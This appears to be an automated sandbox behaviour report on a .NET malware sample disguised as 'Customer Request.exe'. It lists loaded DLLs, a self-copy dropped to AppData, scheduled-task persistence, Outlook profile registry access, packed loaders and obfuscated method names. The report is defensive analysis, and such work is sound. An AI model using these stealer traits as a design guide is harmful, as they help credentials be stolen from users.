Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Section loaded: windowscodecs.dll

Source: C:\Users\user\Desktop\Customer Request.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Customer Request.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Customer Request.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Customer Request.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Customer Request.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: Customer Request.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: rqSA.pdbSHA256 source: Customer Request.exe, gCFuOglEso.exe.0.dr
Source:	Binary string: rqSA.pdb source: Customer Request.exe, gCFuOglEso.exe.0.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: Customer Request.exe, Form4.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: gCFuOglEso.exe.0.dr, Form4.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, frwa3jjtrF5QwZLvOa.cs	.Net Code: W2WYTa9Jtm System.Reflection.Assembly.Load(byte[])
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, frwa3jjtrF5QwZLvOa.cs	.Net Code: W2WYTa9Jtm System.Reflection.Assembly.Load(byte[])
Source: 0.2.Customer Request.exe.7460000.4.raw.unpack, RK.cs	.Net Code: _206F_200B_206F_206E_200F_206F_200F_202A_200D_200F_200F_202B_206F_200B_200B_200C_200B_200B_200E_206C_200F_206E_200E_206A_200F_200B_206B_206F_200F_206E_200F_200F_206D_206C_202C_202D_206F_202D_200B_202C_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, frwa3jjtrF5QwZLvOa.cs	.Net Code: W2WYTa9Jtm System.Reflection.Assembly.Load(byte[])

Source: Customer Request.exe

Static PE information: 0xAADB355B [Sun Oct 31 23:59:23 2060 UTC]

Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_012C24B9 push 8BFFFFFFh; retf	10_2_012C24BF
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_012C24F8 push cs; ret	10_2_012C24FF
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_06C958C9 push es; iretd	10_2_06C958CC
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_06C958DD push es; iretd	10_2_06C958E0
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_06C95895 push es; iretd	10_2_06C958C8
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_06C95849 push es; iretd	10_2_06C95854
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_06C95844 push es; iretd	10_2_06C95848
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_06C95855 push es; iretd	10_2_06C9585C
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_06C9586D push es; iretd	10_2_06C95870
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_06C95871 push es; iretd	10_2_06C9587C
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_06C9581D push es; iretd	10_2_06C95820
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_06C95815 push es; iretd	10_2_06C9581C
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 10_2_06C95821 push es; iretd	10_2_06C95824
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D046F1 push ecx; iretd	11_2_06D046F2
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D057F1 pushfd ; iretd	11_2_06D057F2
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D047F9 push edx; iretd	11_2_06D047FA
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D04791 push edx; iretd	11_2_06D04792
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D04070 push eax; iretd	11_2_06D04072
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D041DF push eax; iretd	11_2_06D041E2
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D041E3 push eax; iretd	11_2_06D041EA
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D041B9 push eax; iretd	11_2_06D041BA
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D04119 push eax; iretd	11_2_06D0411A
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D04ED8 push esi; iretd	11_2_06D04EDA
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D04E89 push esi; iretd	11_2_06D04E8A
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D04CB9 push ebp; iretd	11_2_06D04CBA
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D04DE1 push esi; iretd	11_2_06D04DE2
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D04AC8 push esp; iretd	11_2_06D04ACA
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D04AA1 push esp; iretd	11_2_06D04AA2
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D04A48 push esp; iretd	11_2_06D04A4A
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D04A00 push ebx; iretd	11_2_06D04A02
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 11_2_06D04A03 push ebx; iretd	11_2_06D04A0A

Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, nwa3brccgEIZB7CI0Yl.cs	High entropy of concatenated method names: 'u9cSeX3WEQ', 'b8LSzlTOAc', 'oP025LniZm', 'XTY2c9pYTy', 'htI2n9xkHM', 'NCO2P87bGf', 'YnZ2YKPHlq', 'aMw2I3XZRP', 'vsr2uqGq4f', 'nPo26gq66F'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, U6b0Q7eVMSchg0E0I1.cs	High entropy of concatenated method names: 'ySQSaxnYuG', 'DbnSr5iCl5', 'NmmSybifIw', 'WgcS019Esb', 'BDqS8385GS', 'LW4Sj4X3gn', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, zTcnkLHLej3bfwggl5.cs	High entropy of concatenated method names: 'dQNrhNstWE', 'pperM4rk1q', 'ccOa12nvqU', 'PjlaoIyYsZ', 'E3TaF9jsJ9', 'jZaatET0hq', 'c2GaRaI1sZ', 'wunaQIJuLD', 'GeRainDDCE', 'gOaabXA1Is'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, frwa3jjtrF5QwZLvOa.cs	High entropy of concatenated method names: 'EAYPILJFaE', 'sABPu5lPI8', 'CvuP6yMuvL', 'aOEPaO0X8Y', 'fHoPrF9Mac', 'MLnPyJoaQR', 'BUvP0sypIR', 'GgbPjmdtFr', 'MtsPLhdEgD', 'N4dPfDvhmI'
